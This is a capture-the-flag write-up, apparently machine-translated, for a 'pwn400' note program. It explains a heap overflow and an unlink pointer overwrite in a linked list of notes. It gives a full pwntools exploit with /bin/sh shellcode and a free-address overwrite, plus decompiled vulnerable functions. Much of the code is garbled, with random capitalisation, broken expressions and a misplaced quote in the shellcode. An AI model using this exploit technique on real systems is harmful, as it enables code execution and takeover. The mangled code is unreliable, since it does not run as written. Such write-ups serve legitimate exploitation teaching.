This topic simulates a heap overflow situation where all conditions are very good (such as giving an address, DEP is not open, etc.) and using the unlink vulnerability directly after editnote overflow.
First 3 Times New note, build a list of 3 note, then show note to see the address of these note, calculate the required payload, modify the first note through edit note, overflow to change the second note prev and next pointer, Finally call Delete Note To delete the second note, you can successfully get to the shell.
It is important to note that because unlink modifies the front byte of the shellcode, it requires a small rewrite of the shellcode.
Data Structure:----------------------------------------
struct node{ node *this; //The address of this node
node *prev; //The address of the previous node
Node *next; //The address of the next node
Char title[+]; char type[+]; Char content[n];};
Exploit:--------------------------------------------------
#Exploit for [email protected]
# @Windcarp 2015.08.17
From PWN Import *
#init
Context (Arch = ' i386 ', os = ' Linux ')
Local=true
If Local:
p = Process ("./pwn400")
libc = ELF ("/lib/i386-linux-gnu/libc.so.6")
Else
Pass
binary = ELF ("pwn400")
#address
FREE_ADDR = 0x0804a450
#payload
BUF = "\x90\x90\x90\x90\x90\x90" + "\xeb\x08" + "AAAA" + "\x90" *10+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\" x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80 "
#shellcode need to due to unlink
#pause for GDB to attach
Raw_input ()
#first Step
#attention to fit
#insert Node 1
P.recvuntil (">>")
P.send (' 1 ' + ' \ n ')
P.recvuntil ("title:")
P.send (' 1111 ' + ' \ n ')
P.recvuntil ("type:")
P.send (' 1111 ' + ' \ n ')
P.recvuntil ("Content:")
P.send (' 1111 ' + ' \ n ')
#insert Node 2
P.recvuntil (">>")
P.send (' 1 ' + ' \ n ')
P.recvuntil ("title:")
P.send (' 2222 ' + ' \ n ')
P.recvuntil ("type:")
P.send (' 2222 ' + ' \ n ')
P.recvuntil ("Content:")
P.send (' 2222 ' + ' \ n ')
#insert Node 3
P.recvuntil (">>")
P.send (' 1 ' + ' \ n ')
P.recvuntil ("title:")
P.send (' 3333 ' + ' \ n ')
P.recvuntil ("type:")
P.send (' 3333 ' + ' \ n ')
P.recvuntil ("Content:")
P.send (' 3333 ' + ' \ n ')
#second Step
P.recvuntil (">>")
P.send (' 3 ' + ' \ n ')
P.recvuntil ("title:")
P.send (' 1111 ' + ' \ n ')
P.recvuntil (' Location: ')
data = P.recvuntil (' type: ')
Print "[*] Data 1:", repr (Data[2:9])
note1_addr = Int (data[2:9],16)
P.recvuntil (">>")
P.send (' 3 ' + ' \ n ')
P.recvuntil ("title:")
P.send (' 2222 ' + ' \ n ')
P.recvuntil (' Location: ')
data = P.recvuntil (' type: ')
Print "[*] Data 2:", repr (Data[2:9])
note2_addr = Int (data[2:9],16)
NOTE2_ADDR_STR = Data[2:9]
SHELLCODE_ADDR = note1_addr + 108
#content for Node 1
Payload = buf + (256-len (BUF)) * ' A ' + ' H ' * 4 + P32 (NOTE2_ADDR) + P32 (shellcode_addr) + P32 (free_addr-4)
Print "[*] Payload:", repr (payload)
#third Step
P.recvuntil (">>")
P.send (' 4 ' + ' \ n ')
P.recvuntil ("title:")
P.send (' 1111 ' + ' \ n ')
P.recvuntil ("Content:")
P.send (payload + ' \ n ')
P.recvuntil (">>")
P.send (' 5 ' + ' \ n ')
P.recvuntil (' Location: ')
P.send (note2_addr_str + ' \ n ')
#yeah! We got the shell!
P.interactive ()
Code:----------------------------------------
int __cdecl newnote (int src)
{
void *noteptr; [Sp+1ch] [bp-ch]@1
Noteptr = malloc (364u);
Write (1, "\nnote title:", 0xCu);
Read (0, (char *) noteptr + 63u);
Write (1, "Note type:", 0xAu);
Read (0, (char *) noteptr + 31u);
Write (1, "Note content:", 0xDu);
Read (0, (char *) Noteptr + 108, 255u);
* (_dword *) noteptr = noteptr;
Write (1, "\ n", 2u);
if (* (_dword *) src)
{
* ((_dword *) Noteptr + 2) = * (_dword *) src; It's purely misleading, okay!
* (_dword *) (* (_dword *) src + 4) = Noteptr;
* ((_dword *) Noteptr + 1) = 0;
* (_dword *) src = noteptr;
}
Else
{
* (_dword *) src = noteptr;
* ((_dword *) Noteptr + 1) = 0;
* ((_dword *) Noteptr + 2) = 0;
}
return 0;
}
int __cdecl editnote (int A1)
{
size_t v1; [Email protected]
int v3; [sp+28h] [bp-410h]@1
Char buf; [SP+2CH] [bp-40ch]@1
int v5; [SP+42CH] [bp-ch]@1
V5 = *MK_FP (__gs__, 20);
memset (&buf, 0, 0x400u);
v3 = A1;
if (A1)
{
Write (1, "note title:", 0xBu);
Read (0, &buf, 0x400u);
while (v3)
{
V1 = strlen (&BUF);
if (!strncmp (&buf, (const char *) (v3 +), v1))
Break
V3 = * (_dword *) (v3 + 8);
}
Write (1, "Input content:", 0xEu);
Read (0, &buf, 0x400u); The loophole is here!
strcpy ((char *) (v3 + 108), &BUF);
Write (1, "succeed!", 8u);
Puts ((const char *) (v3 + 108));
}
Else
{
Write (1, "No Notes", 8u);
}
Return *mk_fp (__gs__) ^ v5;
}
int __cdecl deletenote (int A1)
{
int v1;//[email protected]
int v2;//[email protected]
int V3; [email protected]
__int32 ptr;//[sp+24h] [bp-24h]@3
int buf;//[sp+32h] [bp-16h]@1
int v7;//[Sp+3 6H] [bp-12h]@1
__int16 V8;//[Sp+3ah] [bp-eh]@1
int v9;//[sp+3ch] [bp-ch]@1
V9 = *MK_FP (__gs__, 20);
BUF = 0;
V7 = 0;
V8 = 0;
V1 = * (_dword *) A1;
if (* (_dword *) A1)
{
Write (1, "Note location:", 0xEu);
Read (0, &buf, 8u);
ptr = Strtol ((const char *) &BUF, 0, 16);
if (* (_dword *) ptr = = ptr)
{
if (* (_dword *) A1 = = ptr)
{
* (_dword *) a1 = * (_dword *) (* (_dword *) A1 + 8);
}
else if (* (_dword *) (PTR + 8))
{
V2 = * (_dword *) (PTR + 8); Exploitation of unlink vulnerability
V3 = * (_dword *) (PTR + 4);
* (_dword *) (v3 + 8) = v2;
* (_dword *) (v2 + 4) = v3;
}
Else
{
* (_dword *) (* (_dword *) (PTR + 4) + 8) = 0;
}
Write (1, "succeed!\n\n", 0xAu);
Free ((void *) PTR);
}
}
Else
{
Write (1, "No Notes", 8u);
}
Return *mk_fp (__gs__) ^ v9;
}
"PWN"[email protected] Day lesson